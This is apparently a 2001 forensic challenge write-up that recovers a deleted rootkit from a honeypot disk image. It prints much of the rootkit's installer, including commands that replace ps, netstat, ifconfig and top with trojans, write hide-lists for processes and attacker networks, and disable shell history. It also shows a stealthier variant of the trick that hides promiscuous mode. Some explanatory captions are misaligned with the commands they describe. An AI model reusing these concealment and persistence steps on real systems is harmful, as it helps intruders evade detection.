Jason Lee <jace@deakin.edu.au>
25 May 2001
The scan for May, 2001. The purpose of this months challenge is to introduce beginners to the world of forensics, specifically file recovery. On 15 March, 2001, a Linux honeypot was successfully compromised, a rootkit was downloaded to the / partition and then deleted from the system. The aim of this challenge is to find and recover the deleted rootkit.
The Coroner's Toolkit (TCT) by Dan Farmer & Wietse Venema. Used to recover the rootkit. Specific tools used from the toolkit include:TCT can be downloaded from:
- grave-robber
- ils
- ils2mac
- mactime
- icat
- unrm
- lazarus
Various standard Unix commands: grep(1), sort(1), file(1), find(1L), xargs(1L), cat(1), strings(1), md5sum(1), cut(1), wc(1), strace(1), objdump(1).
The analysis was performed on a standard Redhat 7.0 x86 system.
Now extract the / partition image./home/honeynet/scan15 # md5sum honeynet.tar.gz 0dff8fb9fe022ea80d8f1a4e4ae33e21 honeynet.tar.gz
Verify the extracted / partition image. The correct MD5 sum for honeypot.hda8.dd is MD5=5a8ebf5725b15e563c825be85f2f852e./home/honeynet/scan15 # tar -zxvf honeynet.tar.gz honeynet/ honeynet/honeypot.hda8.dd honeynet/README
/home/honeynet/scan15 # md5sum honeynet/honeypot.hda8.dd 5a8ebf5725b15e563c825be85f2f852e honeynet/honeypot.hda8.dd
Now I mount the supplied / partition image at the mnt directory I just created./home/honeynet/scan15 # mkdir mnt
Now it is mounted, I can do some hunting./home/honeynet/scan15 # mount -v -t ext2 -o ro,loop,nodev,noexec,noatime ./honeynet/honeypot.hda8.dd ./mnt mount: going to use the loop device /dev/loop0 /home/honeynet/scan15/honeynet/honeypot.hda8.dd on /home/honeynet/scan15/mnt type ext2 (ro,noexec,nodev,noatime,loop=/dev/loop0)
Straight off I can see 2 directories that look unusual./home/honeynet/scan15 # cd mnt/ /home/honeynet/scan15/mnt # find . -type d -printf "\"%p\"\n" "." "./lost+found" "./boot" "./home" "./usr" "./var" "./proc" "./tmp" "./tmp/.font-unix" "./dev" "./dev/ida" "./dev/ida/.drag-on" "./dev/ida/.. " "./dev/pts" "./dev/raw" "./dev/rd" "./etc" "./etc/profile.d" "./etc/X11" "./etc/X11/applnk" "./etc/X11/applnk/Utilities" "./etc/X11/applnk/Internet" "./etc/X11/applnk/System" "./etc/X11/fs" "./etc/default" "./etc/rc.d" "./etc/rc.d/init.d" "./etc/rc.d/rc0.d" "./etc/rc.d/rc1.d" "./etc/rc.d/rc2.d" "./etc/rc.d/rc3.d" "./etc/rc.d/rc4.d" "./etc/rc.d/rc5.d" "./etc/rc.d/rc6.d" "./etc/cron.daily" "./etc/cron.monthly" "./etc/cron.weekly" "./etc/httpd" "./etc/httpd/conf" "./etc/logrotate.d" "./etc/sysconfig" "./etc/sysconfig/apm-scripts" "./etc/sysconfig/console" "./etc/sysconfig/network-scripts" "./etc/sysconfig/cbq" "./etc/news" "./etc/cron.hourly" "./etc/skel" "./etc/ppp" "./etc/ppp/peers" "./etc/pam.d" "./etc/security" "./etc/security/console.apps" "./etc/pcmcia" "./etc/pcmcia/cis" "./etc/cron.d" "./etc/charsets" "./etc/nmh" "./etc/rpm" "./etc/codepages" "./etc/codepages/src" "./etc/mail" "./etc/smrsh" "./etc/vga" "./etc/snmp" "./etc/uucp" "./etc/uucp/oldconfig" "./bin" "./lib" "./lib/modules" "./lib/modules/2.2.14-5.0" "./lib/modules/2.2.14-5.0/block" "./lib/modules/2.2.14-5.0/cdrom" "./lib/modules/2.2.14-5.0/fs" "./lib/modules/2.2.14-5.0/ipv4" "./lib/modules/2.2.14-5.0/misc" "./lib/modules/2.2.14-5.0/net" "./lib/modules/2.2.14-5.0/pcmcia" "./lib/modules/2.2.14-5.0/scsi" "./lib/modules/2.2.14-5.0/video" "./lib/security" "./mnt" "./mnt/cdrom" "./mnt/floppy" "./opt" "./root" "./sbin" "./sbin/pam_filter" "./floppy"
Now for a listing of each directory:"./dev/ida/.drag-on" "./dev/ida/.. "
and/home/honeynet/scan15/mnt # ls -laF ./dev/ida/.drag-on/ total 660 drwxr-xr-x 2 root root 1024 Mar 16 12:45 ./ drwxrwxr-x 4 root root 12288 Mar 16 12:45 ../ -rwx------ 1 root root 7165 Mar 16 12:45 linsniffer* -rwx------ 1 root root 75 Mar 16 12:45 logclear* -rwxr-xr-x 1 root root 632066 Mar 16 12:45 mkxfs* -rw-r--r-- 1 root root 708 Mar 16 12:45 s -rwxr-xr-x 1 root root 4060 Mar 16 12:45 sense* -rwx------ 1 root root 8268 Mar 16 12:45 sl2* -rw------- 1 root root 540 Mar 16 12:45 ssh_host_key -rw------- 1 root root 512 Mar 17 01:45 ssh_random_seed -rw-r--r-- 1 root root 138 Mar 17 03:28 tcp.log
So, we've found some files from a rootkit. From an initial look, it appears as though each directory has the same files, apart from the differnce in file size of tcp.log. We now have an idea of what to look for in the next stage of the analysis, MACtimes./home/honeynet/scan15/mnt # ls -laF "./dev/ida/.. " total 659 drwxr-xr-x 2 root root 1024 Mar 16 12:45 ./ drwxrwxr-x 4 root root 12288 Mar 16 12:45 ../ -rwx------ 1 root root 7165 Mar 16 12:45 linsniffer* -rwx------ 1 root root 75 Mar 16 12:45 logclear* -rwxr-xr-x 1 root root 632066 Mar 16 12:45 mkxfs* -rw-r--r-- 1 root root 708 Mar 16 12:45 s -rwxr-xr-x 1 root root 4060 Mar 16 12:45 sense* -rwx------ 1 root root 8268 Mar 16 12:45 sl2* -rw------- 1 root root 540 Mar 16 12:45 ssh_host_key -rw------- 1 root root 512 Mar 16 12:45 ssh_random_seed -rw-r--r-- 1 root root 0 Mar 16 12:45 tcp.log
Gather forensic info of the / partition (../mnt), specifically MACtimes. (The output that I'll need specifically is dumped into the file 'body')/home/honeynet/scan15/mnt # cd .. /home/honeynet/scan15 # mkdir grave /home/honeynet/scan15 # cd grave/
List all inodes that have been deleted and convert them to a mactime body file:/home/honeynet/scan15/grave # grave-robber -c ../mnt -m -d . -o LINUX2
Join the two mactime body files, so they are ready for mactime./home/honeynet/scan15/grave # ils ../honeynet/honeypot.hda8.dd | ils2mac > body-deleted
Generate MACtimes. Use the passwd and group files from the actual system to list uids and groups. The date 03/13/2001 specifies from 13 March 2001 forward./home/honeynet/scan15/grave # cat body body-deleted > body-full
/home/honeynet/scan15/grave # mactime -p ../mnt/etc/passwd -g ../mnt/etc/group -b body-full 03/13/2001 > mactimes.txt
<snip>
Mar 16 01 12:36:48 520333 m.. -rw-r--r-- root root <honeypot.hda8.dd-dead-23>
Mar 16 01 12:44:50 35300 .a. -rwxr-xr-x root root ../mnt/bin/netstat
33280 .a. -rwxr-xr-x root root ../mnt/bin/ps
611931 .a. -rwxr-xr-x root root <honeypot.hda8.dd-dead-2039>
1 .a. -rw-r--r-- root root <honeypot.hda8.dd-dead-2040>
1345 .a. -rwxr-xr-x root root <honeypot.hda8.dd-dead-2043>
880 .a. -rw-r--r-- root root <honeypot.hda8.dd-dead-2048>
344 .a. -rw-r--r-- root root <honeypot.hda8.dd-dead-2050>
688 .a. -rw-r--r-- root root <honeypot.hda8.dd-dead-2052>
520333 .a. -rw-r--r-- root root <honeypot.hda8.dd-dead-23>
Mar 16 01 12:45:02 2048 m.c drwxr-xr-x root root ../mnt/bin
11952 .a. -rwxr-xr-x root root ../mnt/bin/chown
35300 ..c -rwxr-xr-x root root ../mnt/bin/netstat
33280 ..c -rwxr-xr-x root root ../mnt/bin/ps
34816 m.c drwxr-xr-x root root ../mnt/dev
12288 m.c drwxrwxr-x root root ../mnt/dev/ida
7165 mac -rwx------ root root ../mnt/dev/ida/.. /linsniffer
75 mac -rwx------ root root ../mnt/dev/ida/.. /logclear
632066 .a. -rwxr-xr-x root root ../mnt/dev/ida/.. /mkxfs
4060 mac -rwxr-xr-x root root ../mnt/dev/ida/.. /sense
8268 mac -rwx------ root root ../mnt/dev/ida/.. /sl2
7165 m.c -rwx------ root root ../mnt/dev/ida/.drag-on/linsniffer
75 mac -rwx------ root root ../mnt/dev/ida/.drag-on/logclear
632066 m.c -rwxr-xr-x root root ../mnt/dev/ida/.drag-on/mkxfs
708 m.c -rw-r--r-- root root ../mnt/dev/ida/.drag-on/s
4060 mac -rwxr-xr-x root root ../mnt/dev/ida/.drag-on/sense
8268 mac -rwx------ root root ../mnt/dev/ida/.drag-on/sl2
540 m.c -rw------- root root ../mnt/dev/ida/.drag-on/ssh_host_key
87 mac -rw-r--r-- root root ../mnt/dev/last
71 mac -rw-r--r-- root root ../mnt/dev/rpm
3072 m.c drwxr-xr-x root root ../mnt/sbin
19840 ..c -rwxr-xr-x root root ../mnt/sbin/ifconfig
4060 .a. -rwxr-xr-x root root <honeypot.hda8.dd-dead-2047>
8268 .a. -rwx------ root root <honeypot.hda8.dd-dead-2053>
53588 .ac -rwxr-xr-x root root <honeypot.hda8.dd-dead-2058>
75 .a. -rwx------ root root <honeypot.hda8.dd-dead-2059>
66736 ..c -rwxr-xr-x root root <honeypot.hda8.dd-dead-30188>
60080 ..c -r-xr-xr-x root root <honeypot.hda8.dd-dead-30191>
42736 ..c -rwxr-xr-x root root <honeypot.hda8.dd-dead-48284>
Mar 16 01 12:45:03 33392 .a. -rwxr-xr-x root root ../mnt/bin/cp
5760 .a. -rwxr-xr-x root root ../mnt/bin/sleep
1024 m.c drwxr-xr-x root root ../mnt/dev/ida/..
632066 m.c -rwxr-xr-x root root ../mnt/dev/ida/.. /mkxfs
708 mac -rw-r--r-- root root ../mnt/dev/ida/.. /s
540 mac -rw------- root root ../mnt/dev/ida/.. /ssh_host_key
512 mac -rw------- root root ../mnt/dev/ida/.. /ssh_random_seed
0 mac -rw-r--r-- root root ../mnt/dev/ida/.. /tcp.log
1024 m.c drwxr-xr-x root root ../mnt/dev/ida/.drag-on
7165 .a. -rwx------ root root ../mnt/dev/ida/.drag-on/linsniffer
632066 .a. -rwxr-xr-x root root ../mnt/dev/ida/.drag-on/mkxfs
708 .a. -rw-r--r-- root root ../mnt/dev/ida/.drag-on/s
540 .a. -rw------- root root ../mnt/dev/ida/.drag-on/ssh_host_key
512 .a. -rw------- root root ../mnt/dev/ida/.drag-on/ssh_random_seed
138 .a. -rw-r--r-- root root ../mnt/dev/ida/.drag-on/tcp.log
3072 m.c drwxr-xr-x root root ../mnt/etc
3278 mac -rw-r--r-- root root ../mnt/etc/inetd.conf
13708 m.c -rwxr-xr-x root root ../mnt/etc/rc.d/rc.sysinit
11407 m.c -rw-r--r-- root root ../mnt/etc/services
<snip>
We land smack in the middle of what looks like the rootkit installation. You
can see all the deleted files, referenced by <honeypot.hda8.dd-dead-N>.
I'll try to recover the deleted files before examining the rootkit closer.
/home/honeynet/scan15/grave # grep honeypot.hda8.dd-dead mactimes.txt | grep -v lrwxrwxrwx | cut -b 85- | cut -d">" -f 1 | sort -nu > deadfiles_to_recover.lst
/home/honeynet/scan15/grave # cat deadfiles_to_recover.lst
23
2038
2039
2040
2041
2042
2043
2044
2045
2046
2047
2048
2049
2050
2051
2052
2053
2054
2058
2059
2060
2061
8097
8100
16110
22103
22104
22105
22106
22107
22108
30188
30191
48284
56231
/home/honeynet/scan15/grave # wc -l deadfiles_to_recover.lst
35 deadfiles_to_recover.lst
Now to attempt recovery of each dead file. I'll store each recovered file in
a seperate directory called recovered_deadfiles.
And, now the recovery.../home/honeynet/scan15/grave # mkdir recovered_deadfiles
and running file(1) on each of these recovered files, yields:/home/honeynet/scan15/grave # \ > for deadfile in `cat deadfiles_to_recover.lst`; > do > icat ../honeynet/honeypot.hda8.dd $deadfile > ./recovered_deadfiles/$deadfile; > done /home/honeynet/scan15/grave # ls -laF ./recovered_deadfiles/ total 2136 drwx------ 2 root root 4096 May 12 20:08 ./ drwx------ 7 root root 4096 May 12 20:03 ../ -r-------- 1 root root 239 May 12 20:10 16110 -r-------- 1 root root 0 May 12 20:10 2038 -r-------- 1 root root 611931 May 12 20:10 2039 -r-------- 1 root root 1 May 12 20:10 2040 -r-------- 1 root root 3713 May 12 20:10 2041 -r-------- 1 root root 796 May 12 20:10 2042 -r-------- 1 root root 1345 May 12 20:10 2043 -r-------- 1 root root 3278 May 12 20:10 2044 -r-------- 1 root root 79 May 12 20:10 2045 -r-------- 1 root root 11407 May 12 20:10 2046 -r-------- 1 root root 4060 May 12 20:10 2047 -r-------- 1 root root 880 May 12 20:10 2048 -r-------- 1 root root 540 May 12 20:10 2049 -r-------- 1 root root 344 May 12 20:10 2050 -r-------- 1 root root 512 May 12 20:10 2051 -r-------- 1 root root 688 May 12 20:10 2052 -r-------- 1 root root 8268 May 12 20:10 2053 -r-------- 1 root root 4620 May 12 20:10 2054 -r-------- 1 root root 53588 May 12 20:10 2058 -r-------- 1 root root 75 May 12 20:10 2059 -r-------- 1 root root 708 May 12 20:10 2060 -r-------- 1 root root 632066 May 12 20:10 2061 -r-------- 1 root root 0 May 12 20:10 22103 -r-------- 1 root root 0 May 12 20:10 22104 -r-------- 1 root root 0 May 12 20:10 22105 -r-------- 1 root root 0 May 12 20:10 22106 -r-------- 1 root root 0 May 12 20:10 22107 -r-------- 1 root root 0 May 12 20:10 22108 -r-------- 1 root root 520333 May 12 20:10 23 -r-------- 1 root root 66736 May 12 20:10 30188 -r-------- 1 root root 60080 May 12 20:10 30191 -r-------- 1 root root 42736 May 12 20:10 48284 -r-------- 1 root root 33135 May 12 20:10 56231 -r-------- 1 root root 0 May 12 20:10 8097 -r-------- 1 root root 16329 May 12 20:10 8100
/home/honeynet/scan15/grave # cd recovered_deadfiles/ /home/honeynet/scan15/grave/recovered_deadfiles # file * 16110: ASCII text 2038: empty 2039: ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), not stripped 2040: ASCII text 2041: Bourne shell script text 2042: ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), stripped 2043: Bourne-Again shell script text 2044: English text 2045: Bourne shell script text 2046: English text 2047: perl commands text 2048: English text 2049: data 2050: ASCII text 2051: data 2052: ASCII text 2053: ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), not stripped 2054: ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), stripped 2058: ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), stripped 2059: ASCII text 2060: ASCII text 2061: ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), not stripped 22103: empty 22104: empty 22105: empty 22106: empty 22107: empty 22108: empty 23: gzip compressed data, deflated, last modified: Sat Mar 3 14:09:06 2001, os: Unix 30188: ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), stripped 30191: ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), stripped 48284: ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), stripped 56231: ASCII text 8097: empty 8100: English text
Notice file 23 is the only compressed file, and it is also listed in the MACtime output before the rootkit was installed. This is most likely the deleted rootkit... Let's see...
Make a directory called '23' and copy the recovered file '23' to this directory and add the extension '.gz', seeing as it is a gzip file.
Uncompress the file and do an ls.../home/honeynet/scan15/grave/recovered_deadfiles # cd ../ /home/honeynet/scan15/grave # mkdir 23 /home/honeynet/scan15/grave # cd 23/ /home/honeynet/scan15/grave/23 # cp ../recovered_deadfiles/23 ./23.gz
Determine what type of file we now have using file(1)./home/honeynet/scan15/grave/23 # gunzip 23.gz /home/honeynet/scan15/grave/23 # ls -laF total 1432 drwxr-xr-x 2 root root 4096 May 15 20:36 ./ drwx------ 8 root root 4096 May 15 20:36 ../ -rw-r--r-- 1 root root 1454080 May 15 20:36 23
A tar file. Rename it as such./home/honeynet/scan15/grave/23 # file 23 23: GNU tar archive
Now list the contents of the tar file./home/honeynet/scan15/grave/23 # mv 23 23.tar
...and yes, it is the rootkit. Untar the rootkit./home/honeynet/scan15/grave/23 # tar -tvf 23.tar drwxr-xr-x 1031/users 0 2001-02-27 07:40:30 last/ tar: Archive contains future timestamp 2002-02-09 00:08:13 -rwxr-xr-x 1031/users 611931 2002-02-09 00:08:13 last/ssh -rw-r--r-- 1031/users 1 2001-02-27 02:29:58 last/pidfile -rwx------ 1031/users 3713 2001-03-03 14:08:37 last/install -rwx------ 1031/users 7165 2001-02-27 02:22:50 last/linsniffer -rwxr-xr-x 1031/users 1345 1999-09-10 01:57:11 last/cleaner -rw-r--r-- 1031/users 3278 2001-01-28 02:11:32 last/inetd.conf -rwxr-xr-x 1031/users 79 2001-02-27 02:28:40 last/lsattr -rw-r--r-- 1031/users 11407 2001-01-28 02:11:44 last/services -rwxr-xr-x 1031/users 4060 2001-02-27 02:22:55 last/sense -rw-r--r-- 1031/users 880 2000-10-23 06:29:44 last/ssh_config -rw------- 1031/users 540 2000-10-23 06:29:44 last/ssh_host_key -rw-r--r-- 1031/users 344 2000-10-23 06:29:44 last/ssh_host_key.pub -rw------- 1031/users 512 2000-10-23 06:29:44 last/ssh_random_seed -rw-r--r-- 1031/users 688 2001-02-27 02:29:51 last/sshd_config -rwx------ 1031/users 8268 2001-02-27 02:22:59 last/sl2 -rwxr-xr-x 1031/users 4620 2001-02-27 02:23:10 last/last.cgi -rwxr-xr-x 1031/users 33280 2001-02-27 02:23:33 last/ps -rwxr-xr-x 1031/users 35300 2001-02-27 02:23:42 last/netstat -rwxr-xr-x 1031/users 19840 2001-02-27 02:23:47 last/ifconfig -rwxr-xr-x 1031/users 53588 2001-02-27 02:23:55 last/top -rwx------ 1031/users 75 2001-02-27 02:24:03 last/logclear -rw-r--r-- root/root 708 2001-03-03 14:05:12 last/s -rwxr-xr-x 1031/users 632066 2001-02-27 01:46:04 last/mkxfs
tar warns that it contains some file(s) with a timestamp in the future. Lets see by doing an ls./home/honeynet/scan15/grave/23 # tar -xvf 23.tar last/ tar: Archive contains future timestamp 2002-02-09 00:08:13 last/ssh last/pidfile last/install last/linsniffer last/cleaner last/inetd.conf last/lsattr last/services last/sense last/ssh_config last/ssh_host_key last/ssh_host_key.pub last/ssh_random_seed last/sshd_config last/sl2 last/last.cgi last/ps last/netstat last/ifconfig last/top last/logclear last/s last/mkxfs
/home/honeynet/scan15/grave/23 # ls -laF last/ total 1480 drwxr-xr-x 2 1031 users 4096 Feb 27 07:40 ./ drwxr-xr-x 3 root root 4096 May 15 20:41 ../ -rwxr-xr-x 1 1031 users 1345 Sep 10 1999 cleaner* -rwxr-xr-x 1 1031 users 19840 Feb 27 02:23 ifconfig* -rw-r--r-- 1 1031 users 3278 Jan 28 02:11 inetd.conf -rwx------ 1 1031 users 3713 Mar 3 14:08 install* -rwxr-xr-x 1 1031 users 4620 Feb 27 02:23 last.cgi* -rwx------ 1 1031 users 7165 Feb 27 02:22 linsniffer* -rwx------ 1 1031 users 75 Feb 27 02:24 logclear* -rwxr-xr-x 1 1031 users 79 Feb 27 02:28 lsattr* -rwxr-xr-x 1 1031 users 632066 Feb 27 01:46 mkxfs* -rwxr-xr-x 1 1031 users 35300 Feb 27 02:23 netstat* -rw-r--r-- 1 1031 users 1 Feb 27 02:29 pidfile -rwxr-xr-x 1 1031 users 33280 Feb 27 02:23 ps* -rw-r--r-- 1 root root 708 Mar 3 14:05 s -rwxr-xr-x 1 1031 users 4060 Feb 27 02:22 sense* -rw-r--r-- 1 1031 users 11407 Jan 28 02:11 services -rwx------ 1 1031 users 8268 Feb 27 02:22 sl2* -rwxr-xr-x 1 1031 users 611931 Feb 9 2002 ssh* -rw-r--r-- 1 1031 users 880 Oct 23 2000 ssh_config -rw------- 1 1031 users 540 Oct 23 2000 ssh_host_key -rw-r--r-- 1 1031 users 344 Oct 23 2000 ssh_host_key.pub -rw------- 1 1031 users 512 Oct 23 2000 ssh_random_seed -rw-r--r-- 1 1031 users 688 Feb 27 02:29 sshd_config -rwxr-xr-x 1 1031 users 53588 Feb 27 02:23 top*
ssh is dated 9 Feb 2002. Not sure whether this is on purpose or not.
Run file(1) over each of the files to determine what type of file they are./home/honeynet/scan15/grave/23 # file last/* last/cleaner: Bourne-Again shell script text last/ifconfig: ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), stripped last/inetd.conf: English text last/install: Bourne shell script text last/last.cgi: ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), stripped last/linsniffer: ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), not stripped last/logclear: ASCII text last/lsattr: Bourne shell script text last/mkxfs: ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), not stripped last/netstat: ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), stripped last/pidfile: ASCII text last/ps: ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), stripped last/s: ASCII text last/sense: perl commands text last/services: English text last/sl2: ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), not stripped last/ssh: ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), not stripped last/ssh_config: English text last/sshd_config: ASCII text last/ssh_host_key: data last/ssh_host_key.pub: ASCII text last/ssh_random_seed: data last/top: ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), stripped
# ./cleaner XXXXXXX * sauber by socked [07.27.97] * * Cleaning logs.. This may take a bit depending on the size of the logs. * Cleaning XFree86.0.log (429 lines)...0 lines removed! * Cleaning boot.log (569 lines)...0 lines removed! * Cleaning boot.log.1 (90 lines)...0 lines removed! * Cleaning boot.log.2 (90 lines)...0 lines removed! * Cleaning boot.log.3 (623 lines)...0 lines removed! * Cleaning boot.log.4 (90 lines)...0 lines removed! * Cleaning cron (193 lines)...0 lines removed! * Cleaning cron.1 (17 lines)...0 lines removed! * Cleaning cron.2 (17 lines)...0 lines removed! * Cleaning cron.3 (237 lines)...0 lines removed! * Cleaning cron.4 (169 lines)...0 lines removed! * Cleaning dmesg (92 lines)...0 lines removed! * Cleaning htmlaccess.log (0 lines)...0 lines removed! * Cleaning maillog (9 lines)...0 lines removed! * Cleaning maillog.1 (3 lines)...0 lines removed! * Cleaning maillog.2 (3 lines)...0 lines removed! * Cleaning maillog.3 (21 lines)...0 lines removed! * Cleaning maillog.4 (3 lines)...0 lines removed! * Cleaning messages (1739 lines)...0 lines removed! * Cleaning messages.1 (241 lines)...0 lines removed! * Cleaning messages.2 (254 lines)...0 lines removed! * Cleaning messages.3 (1971 lines)...0 lines removed! * Cleaning messages.4 (511 lines)...0 lines removed! * Cleaning netconf.log (0 lines)...0 lines removed! * Cleaning netconf.log.1 (0 lines)...0 lines removed! * Cleaning netconf.log.2 (0 lines)...0 lines removed! * Cleaning netconf.log.3 (0 lines)...0 lines removed! * Cleaning netconf.log.4 (0 lines)...0 lines removed! * Cleaning secure (0 lines)...0 lines removed! * Cleaning secure.1 (0 lines)...0 lines removed! * Cleaning secure.2 (0 lines)...0 lines removed! * Cleaning secure.3 (0 lines)...0 lines removed! * Cleaning secure.4 (0 lines)...0 lines removed! * Cleaning spooler (0 lines)...0 lines removed! * Cleaning spooler.1 (0 lines)...0 lines removed! * Cleaning spooler.2 (0 lines)...0 lines removed! * Cleaning spooler.3 (0 lines)...0 lines removed! * Cleaning spooler.4 (0 lines)...0 lines removed! * Cleaning statistics (0 lines)...0 lines removed! * Alles sauber mein Meister !'Q%&@
I have copies of various common rootkits, and generate md5sum hashes of the various files that make up the kits. I use a shell script to search these md5 files to see if a particular file can be traced back to a kit. I'll do it with this cleaner file.
It appears that this cleaner file is also a part of the t0rnkit, albeit a different file name./home/honeynet/scan15/grave/23/last # /home/hack/md5/fingerprint.sh cleaner ------------------------------------------------------------------------------- MD5 MATCH: cleaner ------------------------------------------------------------------------------- /home/hack/md5/rootkits.md5:12e8748c19abe7a44e67196c22738e9b ./tornkit/t0rnsb
Fingerprint attempt:/home/honeynet/scan15/grave/23/last # strings ./ifconfig |grep PROMISC /home/honeynet/scan15/grave/23/last #
/home/honeynet/scan15/grave/23/last # /home/hack/md5/fingerprint.sh ./ifconfig ------------------------------------------------------------------------------- MD5 MATCH: ./ifconfig ------------------------------------------------------------------------------- /home/hack/md5/rootkits.md5:086394958255553f6f38684dad97869e ./lrk4/net-tools-1.32-alpha/ifconfig /home/hack/md5/rootkits.md5:086394958255553f6f38684dad97869e ./lrk4_shad/net-tools-1.32-alpha/ifconfig /home/hack/md5/rootkits.md5:086394958255553f6f38684dad97869e ./lrk4_unshad/net-tools-1.32-alpha/ifconfig /home/hack/md5/rootkits.md5:086394958255553f6f38684dad97869e ./lrk5/net-tools-1.32-alpha/ifconfig
This exact version of ifconfig appears in the various Linux Rootkits (lrk). lrk3 also has the same ifconfig.
The C code that removes the PROMISC flag functionality from ifconfig.c is shown below.
<snip>
if (ptr->flags & IFF_NOARP) printf("NOARP ");
/* HACK remove PROMISC message for hassle phree sniffing */
/* if (ptr->flags & IFF_PROMISC) printf("PROMISC "); */
if (ptr->flags & IFF_ALLMULTI) printf("ALLMULTI ");
<snip>
A very easy way to foil the grep(1) and strings(1) test is for the hacker to change the above code to something simple like this:
<snip>
if (ptr->flags & IFF_NOARP) printf("NOARP ");
/* HACK remove PROMISC message for hassle phree sniffing */
if (0 == 1) printf("PROMISC ");
if (ptr->flags & IFF_ALLMULTI) printf("ALLMULTI ");
<snip>
This way, when you grep for PROMISC, it comes up as expected, and will 'look'
normal to the person investigating it, as does the non-trojaned original ifconfig.
# strings ./ifconfig |grep PROMISC PROMISC # strings /sbin/ifconfig |grep PROMISC PROMISC
Check binaries with md5sum or some other hashing function against a known safe binary to be sure of it's integrity.
I'll check to see if the user 'cyrus' is in the password files.telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd pop-3 stream tcp nowait cyrus /usr/cyrus/bin/pop3d pop3d
/home/honeynet/scan15 # grep cyrus mnt/etc/shadow* mnt/etc/passwd* /home/honeynet/scan15 #
User 'cyrus' isn't in the password files...
Comments...#!/bin/sh clear unset HISTFILE
Change ownership of all the rootkit files in the 'last/' directory to user=root and group=root.echo "********* Mircea SUGI PULA ********************************" echo "********* Multumiri La Toti Care M-Au Ajutat **************" echo "********* Lemme Give You A Tip : **************************" echo "********* Ignore everything, call your freedom ************" echo "********* Scream & swear as much as you can ***************" echo "********* Cuz anyway nobody will hear you and no one will *" echo "********* Care about you **********************************" echo echo
A few checks for various binaries (make, gcc and sshd), only for feedback to the user who's running the script.chown root.root *
if [ -f /usr/bin/make ]; then
echo "Are Make !"
else
echo "Nu Are Make !"
fi
if [ -f /usr/bin/gcc ]; then
echo "Are Gcc !"
else
echo "Nu Are Gcc !"
fi
if [ -f /usr/sbin/sshd/ ]; then
echo "Are Ssh !"
else
echo "Nu Are Ssh !"
fi
Install the trojan binaries: ifconfig, netstat, ps, top and mkxfs.
Create the file /dev/rpm that should be used by the trojaned ps and top. touch'ing the file is redundant. The second line is all that is required to create the empty file...echo -n "* Inlocuim nestat ... alea alea " rm -rf /sbin/ifconfig mv ifconfig /sbin/ifconfig rm -rf /bin/netstat mv netstat /bin/netstat rm -rf /bin/ps mv ps /bin/ps rm -rf /usr/bin/top mv top /usr/bin/top cp -f mkxfs /usr/sbin/ echo "* Gata..." echo echo
Add lines to the /dev/rpm configuration file that the trojaned ps and top should read, to hide these strings. The '3' means to hide these strings from all programs that have the string in their file name. eg: smurf will match smurf, smurfer, lilsmurf, etc.touch /dev/rpm >/dev/rpm
Create the file /dev/last that should be used by the trojaned netstat to hide network connections.echo "3 sl2" >>/dev/rpm echo "3 sshdu" >>/dev/rpm echo "3 linsniffer" >>/dev/rpm echo "3 smurf" >>/dev/rpm echo "3 slice" >>/dev/rpm echo "3 mech" >>/dev/rp m echo "3 muh" >>/dev/rpm echo "3 bnc" >>/dev/rpm echo "3 psybnc" >> /dev/rpm
touch /dev/last >/dev/last
Add lines to the /dev/last configuration file that the trojaned netstat should read, to hide these network connections. According to the README in the lrk5, netstat's configuration file should work as:
netstat - Modified to remove tcp/udp/sockets from or to specified
addresses, uids and ports. The file is ROOTKIT_ADDRESS_FILE.
default data file: /dev/ptyq
type 0: hide uid
type 1: hide local address
type 2: hide remote address
type 3: hide local port
type 4: hide remote port
type 5: hide UNIX socket path
example:
0 500 <- Hides all connections by uid 500
1 128.31 <- Hides all local connections from 128.31.X.X
2 128.31.39.20 <- Hides all remote connections to 128.31.39.20
3 8000 <- Hides all local connections from port 8000
4 6667 <- Hides all remote connections to port 6667
5 .term/socket <- Hides all UNIX sockets including the path
.term/socket
Option 1 denotes hiding local connections from 3 class C networks:
Make the two secret directories to store the parts of the rootkit. -p means 'no error if existing, make parent directories as needed'.echo "1 193.231.139" >>/dev/last echo "1 213.154.137" >>/dev/last echo "1 193.254.34" >>/dev/last echo "3 48744" >>/dev/last echo "3 3666" >>/dev/last echo "3 31221" >>/dev/last echo "3 22546" >>/dev/last echo "4 48744" >>/dev/last echo "4 2222" >>/dev/last echo "* Gata"
Copy rootkit files to the above two directories.echo "* Facem Director...Si Mutam Alea.. " mkdir -p /dev/ida/.drag-on mkdir -p /dev/ida/".. "
Remove the files that were previously copied from the current directory.cp linsniffer logclear sense sl2 mkxfs s ssh_host_key ssh_random_seed /dev/ida/.drag-on/ cp linsniffer logclear sense sl2 mkxfs s ssh_host_key ssh_random_seed /dev/ida/".. "
Create empty logging files for linsniffer to store it's output.rm -rf linsniffer logclear sense sl2 mkxfs s ssh_host_key ssh_random_seed
Forcefully copy these files to /etc and restart inetd, so it will read in the new conf files.touch /dev/ida/.drag-on/tcp.log touch /dev/ida/".. "/tcp.log
Delete lsattr(1) - (list file attributes on a Linux second extended file system)cp -f inetd.conf /etc cp -f services /etc killall -HUP inetd echo echo echo
Append a line to rc.sysinit to run the trojan version of lsattr (shell script), so it will be executed upon bootup. The 3 options are just decoys to make it look ridgy-didge. The second line appends a newline to rc.sysinit.echo "* Adaugam In Startup:) ..." rm -rf /usr/bin/lsattr
